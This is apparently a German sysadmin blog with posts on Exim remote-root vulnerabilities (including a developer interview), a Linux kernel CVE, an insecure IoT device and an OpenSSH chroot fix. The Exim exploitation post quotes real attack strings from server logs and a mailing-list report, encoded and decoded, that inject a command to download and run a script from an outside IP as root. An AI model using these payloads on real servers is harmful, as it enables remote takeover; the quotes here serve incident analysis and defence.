Nicht schon wieder ein Root-Exploit im Exim

Wie heute bekannt wurde, gibt es schon wieder einen Remote-Root-Exploit im Exim-Mailserver: CVE-2019-15846 . Das wäre jetzt schon die dritte krasse Sicherheitslücke im Exim in diesem Jahr. Ich mag ja Exim sehr gern, aber die Pille ist schon irgendwie bitter, IMHO.

Das Kurz-Interview zum Thema mit einem der Exim-Verantwortlichen findet Ihr unten.

„A local or remote attacker can execute programs with root privileges.“

Alle Versionen bis einschließlich 4.92.1 sind laut Vorabmeldung davon betroffen. Derzeit gibt es für die Lücke noch keinen funktionierenden Exploit, aber da es schon einen Proof-of-Concept gibt, kann das nicht lange dauern, bis es einen Exploit in der Wildnis geben wird.

Mehr Details mochte man uns noch nicht anvertrauen, aber Freitag um 12 Uhr gibt es mehr Infos. Ist wie bei einer Pressekonferenz, wenn die Polizei mehr zu den aktuellen Erkenntnissen eines Falls rausrückt 😉

Gefixt ist das Problem in Version 4.92.2. Ich werde Euch mitteilen, wenn die Pakete im Koji auftauchen, da ich die natürlich testen werde 😉

Hier ein Auszug aus der Originalmeldung:

Version:    up to and including 4.92.1
Issue:      A local or remote attacker can execute programs with root
            privileges.
Details:    Will be made public at CRD. Currently there is no known
            exploit, but a rudimentary POC exists.

Coordinated Release Date (CRD) for Exim 4.92.2:
            2019-09-06 10:00 UTC

Ein Kurzinterview mit einem der Exim Entwickler

Ich habe kurzentschlossen Heiko Schlittermann ein paar Fragen zum Thema gestellt, die er mir freundlicherweise spontan beantwortet hat. Heiko hatte heute morgen auch die Head-Ups-Mail an die Eximliste geschrieben, steckt also voll im Thema drin:

Kommen die diesjährigen Schwachstellen aus Projekten, die den Code von Exim extra auditiert haben, oder sind es eher voneinander unabhängige Reporter?

Sowohl als auch. CVE-2019-10149 (Juni) wurde uns von einer Security-Firma gemeldet. Ich vermute, daß die im Auftrag eines Kunden Auditing gemacht haben. Dieses CVE betraf streng genommen uns nicht, weil die aktuelle Version den Bug nicht mehr drin hatte (wurde unbeabsichtigt beseitigt).

CVE-2019-13917 (Juli) war „Selbstanzeige“. Es ist einem der Entwickler aufgefallen, nachdem er nach CVE-2019-10149 begonnen hat, den Code so umzubauen, daß er „tainted data“ besser erkennt.

CVE-2019-15846 (September) wurde uns von einem User als Bug reported, daraufhin haben wir die o.g. Security-Firma beauftragt, das Potential dieses Problems zu untersuchen. Haben sie. Daher wurde es ein CVE. Sie fanden noch zwei weitere verdächtige Sachen, die wir aber mit ihnen klären konnten und es sind jetzt einfach nur Bugs, die sich nicht ausnutzen lassen. (Sind im „master“ schon gefixt.)

2. Drei schwere Lücken in wenigen Monaten Abstand, erschüttert das nicht das generelle Vertrauen in so ein Produkt?

Das Gespräch hatte ich auch eben mit meinem Kollegen. Wie ist die kritische Schwachstellendichte? Zu wenige: könnte bedeuten, da kümmert sich niemand, zu viele: könnte bedeuten, die Software ist Schrott. Mein Vertrauen erschüttert es nicht. Aber ich bin nicht objektiv, denn ich bin ja involviert. Natürlich führen diese Schwachstellen auch bei den Entwicklern zum Denken – sie oben, in Reaktion auf -1049 wurde „tainted data“ eingeführt. Gut möglich, daß weitere Änderungen folgen.

3. Ist für das Jahr noch mehr zu erwarten? (Dann muß ich ein neues Rezept gegen Bluthochdruck besorgen 😉 )

Wenn wir das wüssten, würden wir es gleich mit erledigen. Kannst ja präventiv eins besorgen, vielleicht verwendest Du ja noch andere Produkte. Die Summe allen Elends ist konstant 🙂

4. Was waren in den letzten Jahren die bisherigen Security-Nightmare-Highlights bei Exim?

Die uns bekannten sind als CVE veröffentlicht: http://www.exim.org/static/doc/security/ Ich denke, diese Liste müsste vollständig sein. Wenn nicht, dann gib Bescheid, ich kümmere mich drum.

Danke für das Gespräch.

Exim – Exploit in der Wildnis unterwegs

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

• starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

• the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, für den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfälligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgeführt. Naja, es „sollte“ ausgeführt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geänderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufälligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber würde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint übrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfällige Server gleichzeitig attackiert hat und sein Webdienst überlastet war 😀 Auch das größere Timeout mit -T 75 spricht dafür, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt für alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149, how to protect yourself

Leider ist es natürlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur Verfügung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste über die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hätte ich gar nicht gedacht.

IoT: Dildo mit WLAN Accesspoint , Default Root und WebCam

Ja, richtig gelesen, das IoT Desaster geht in die nächste Runde. Wie Heise auf seiner Webseite berichtet, wurde der Hersteller eines WLAN fähigen und mit WebCam ausgerüsteten Dildos bereits 2016 über die mannigfaltigen Schwachstellen seines Produkts informiert. Vor lauter Brumm-Brumm muß er den Hinweis wohl überhört haben, denn passiert ist nichts.

Den ganzen Spaß lest Ihr im Link unten.

Quelle: www.heise.de

Root-Exploit im TCP/IP Stack – CVE-2016-8655

Im Linux Kernel klafft die nächste Root-Lücke, diesmal im Netzwerkbereich, dem TCP/IP Stack.

Die Lücke können nur lokale Prozesse ausnutzen, i.d.R. braucht es daher eine weitere Sicherheitslücke z.b. im Browser oder einen angemeldeten Benutzer.  Das Ganze betrifft somit „eigentlich“ nur Server.

Updates gibt es derzeit für Fedora noch keine. Der neuste Kernel 4.8.12-200 vom 2.12. behebt das Problem  noch nicht, trotzdem sollte man den schon einspielen, denn wie man sieht, behebt er andere Securityprobleme:

* Fr Dez 02 2016 Justin M. Forbes <jforbes@fedoraproject.org> – 4.8.12-200
– Linux v4.8.12
– CVE-2016-9755 Fix Out-of-bounds write issue when defragmenting ipv6 packets (rhbz 1400904 1400905)
– CVE-2016-9756 Fix kvm: stack memory information leakage (rhbz 1400468 1400469)
– Fix kvm: out of bounds memory access via vcpu_id (rhbz 1400804 1400805)

Ubuntu stellt als erster gepatchte Kernel bereit, muß man auch mal lobend erwähnen.

Den Exploit für Ubuntu gibt es hier:

Linux Kernel 4.4.0 AF_PACKET Race Condition / Privilege Escalation

Wie man im Source lesen kann, hat sich der Autor auch schon an Fedora 25 probiert, es aber wieder auskommentiert.

Die nächste Sicherheitslücke klafft übrigens im Android Kernel, da können alle bekannten Android Versionen ab 4.4.4 von außen komplett übernommen werden. Erste Patche sind zwar schon bei den Herstellern verfügbar, aber wann die #1 Samsung, das Update bereitstellt, steht in den Sternen 🙁

Hier mal die Liste der von Google genannten Schwachstellenreports, die damit zusammen hängen, einige sind schon zwei Jahre alt :

CVE-2016-9120: Schwachstelle in Kernel ION Subsystem ermöglicht komplette
CVE-2016-8411: Schwachstellen in Qualcomm Komponenten ermöglichen komplette
CVE-2016-8410: Schwachstelle in Qualcomm Audiotreiber ermöglicht Ausspähen
CVE-2016-8408 CVE-2016-8409: Schwachstellen in NVIDIA Grafiktreiber
CVE-2016-8401 CVE-2016-8402 CVE-2016-8403 CVE-2016-8404 CVE-2016-8405
CVE-2016-8406 CVE-2016-8407: Schwachstellen in Kernelkomponenten ermöglichen
CVE-2016-8400: Schwachstelle in NVIDIA Grafikbibliothek ermöglicht Ausspähen
CVE-2016-8399: Schwachstelle im Netzwerk-Subsystem ermöglicht komplette
CVE-2016-8397: Schwachstelle in NVIDIA Grafiktreiber ermöglicht Ausspähen
CVE-2016-8396: Schwachstelle in MediaTek Grafiktreiber ermöglicht Ausspähen
CVE-2016-8395: Schwachstelle in NVIDIA Kameratreiber ermöglicht
CVE-2016-8393 CVE-2016-8394: Schwachstellen im Synaptics Touchscreen-Treiber
CVE-2016-6915 CVE-2016-6916 CVE-2016-6917: Schwachstellen im NVIDIA
CVE-2016-6791 CVE-2016-8391 CVE-2016-8392: Schwachstellen im Qualcomm
CVE-2016-6789 CVE-2016-6790: Schwachstellen in NVIDIA Grafikbibliothek
CVE-2016-6788: Schwachstelle im MediaTek I2C-Treiber ermöglicht komplette
CVE-2016-6786 CVE-2016-6787: Schwachstellen im Performance-Subsystem
CVE-2016-6778 CVE-2016-6779 CVE-2016-6780: Schwachstellen im HTC
CVE-2016-6775 CVE-2016-6776 CVE-2016-6777: Schwachstellen in NVIDIA
CVE-2016-6774: Schwachstelle in Package Manager ermöglicht Ausspähen von
CVE-2016-6773: Schwachstelle in Mediaserver ermöglicht Ausspähen von
CVE-2016-6772: Schwachstelle in Wi-Fi ermöglicht Ausführen beliebigen
CVE-2016-6771: Schwachstelle in Telephony ermöglicht Privilegieneskalation
CVE-2016-6770: Schwachstelle in Framework API ermöglicht
CVE-2016-6769: Schwachstelle in Smart Lock ermöglicht Privilegieneskalation
CVE-2016-6768: Schwachstelle in Bibliothek Framesequence ermöglicht
CVE-2016-6767: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6765: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6764 CVE-2016-6766: Schwachstellen in Mediaserver ermöglichen
CVE-2016-6763: Schwachstelle in Telephony ermöglicht
CVE-2016-6762: Schwachstelle in libziparchive ermöglicht Ausführung
CVE-2016-6758 CVE-2016-6759 CVE-2016-6760 CVE-2016-6761: Schwachstellen in
CVE-2016-6756 CVE-2016-6757: Schwachstellen in Qualcomm Komponeten
CVE-2016-6755: Schwachstelle in Qualcomm Kamera-Treiber ermöglicht
CVE-2016-6492 CVE-2016-6781 CVE-2016-6782 CVE-2016-6783 CVE-2016-6784
CVE-2016-6785: Schwachstellen in MediaTek-Treiber ermöglichen Ausführung
CVE-2016-5341: Schwachstelle in Qualcomm GPS-Komponente ermöglicht
CVE-2015-8967: Schwachstelle in Kernel ermöglicht Ausführung beliebigen
CVE-2015-8966: Schwachstelle in Kernel ermöglicht Ausführung beliebigen
CVE-2014-9909 CVE-2014-9910: Schwachstellen in Broadcom Wi-Fi-Treiber
CVE-2016-5195: Schwachstelle in Linux-Kernel ermöglicht Erlangen von
CVE-2016-5421: Schwachstelle in cURL ermöglicht Ausführung beliebigen
CVE-2016-5420: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-5419: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-4794: Schwachstelle in Linux-Kernel ermöglicht
CVE-2015-7872: Schwachstelle in Linux-Kernel erlaubt
CVE-2014-4014: Schwachstelle im Linux-Kernel ermöglicht

Gelöst : Chroot mit OpenSSH 7.2p2-6

Erste Hinweise zu den Ursachen des Problems

Wie im Bugtracker von RedHat einsehbar ist, kristallisieren sich grade (während des Schreibens dieses Artikels) Probleme mit der Chroot-Funktion vom SSHD heraus. Ist die Chroot aktiviert, was man tun sollte, um Benutzer den Zugang zum eigentlichen System zu verweigern, so daß diese keine lokalen Angriffe fahren können, sondern in einer eigenen Umgebung arbeiten müssen, werden die für Root nötigen Capabilities nicht mehr gesetzt.

Capabilities sind die Eigenschaften eines Users, die erweiterte Rechte im Linuxsystem beinhalten, wie z.b. das Recht sich mit PTRACE in Prozessen einzuklinken, um diese zu belauschen oder zu verändern. Diese Capabilities machen Root erst aus und fehlen in der aktuellen sshd version:

# capsh --print
Current: =
Bounding set =
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

Ursache ist eine Änderung am SSHD aus 2015 : https://bugzilla.mindrot.org/show_bug.cgi?id=2486

Bis zu dieser Änderung konnte man keine intelligente Ausnahme für den Rootuser konfigurieren, wenn es darum ging den Benutzer in eine Chroot einzusperren, OHNE das man alle Benutzernamen des Systems in die Config einträgt. Das wäre kompletter Quatsch gewesen 😉 Deswegen mußte man sich folgendes Konstrukts bedienen:

ChrootDirectory /opt/root/
Match user root
     ChrootDirectory /

Übersetzt heißt das obige:

Für *ALLE* Benutzer, wechsle in eine CHROOT Umgebung im Pfad „/opt/root/“
Wenn Du ROOT bist, dann wechsle nach „/“

Und genau das führt nun zum Problem, da  ChrootDirectory „/“ für die Entwickler nie als Option in Betracht kam, obwohl es ein valides Argument war.  In der 7.2p2-6 wurde „ChrootDirectory“ überarbeitet und offensichtlich beschlossen, daß bei einer Chroot nie Capabilities nötig sein werden würden, was so vermutlich auch nicht für alle Server auf der Welt funktionieren wird. Das kann noch spannend werden.

Der Lösung auf der Spur

Die Lösung liegt in dem neu eingeführten Wert „none“ als Argument für ChrootDirectory. Dies hebt die ChrootBeschränkungen für den User Root wieder auf:

ChrootDirectory /opt/root/
Match user root
     ChrootDirectory none

Wo mit es wieder so funktioniert, wie ursprünglich gedacht.

Thank you for the help with investigation. Do not close this bug, because it is obviously a bug that we drop root capabilities. We should not certainly do that for a UID=0 regardless the chroot option.

Once I will test the patch, I will issue the updates.
Jakub Jelen / RedHat.com“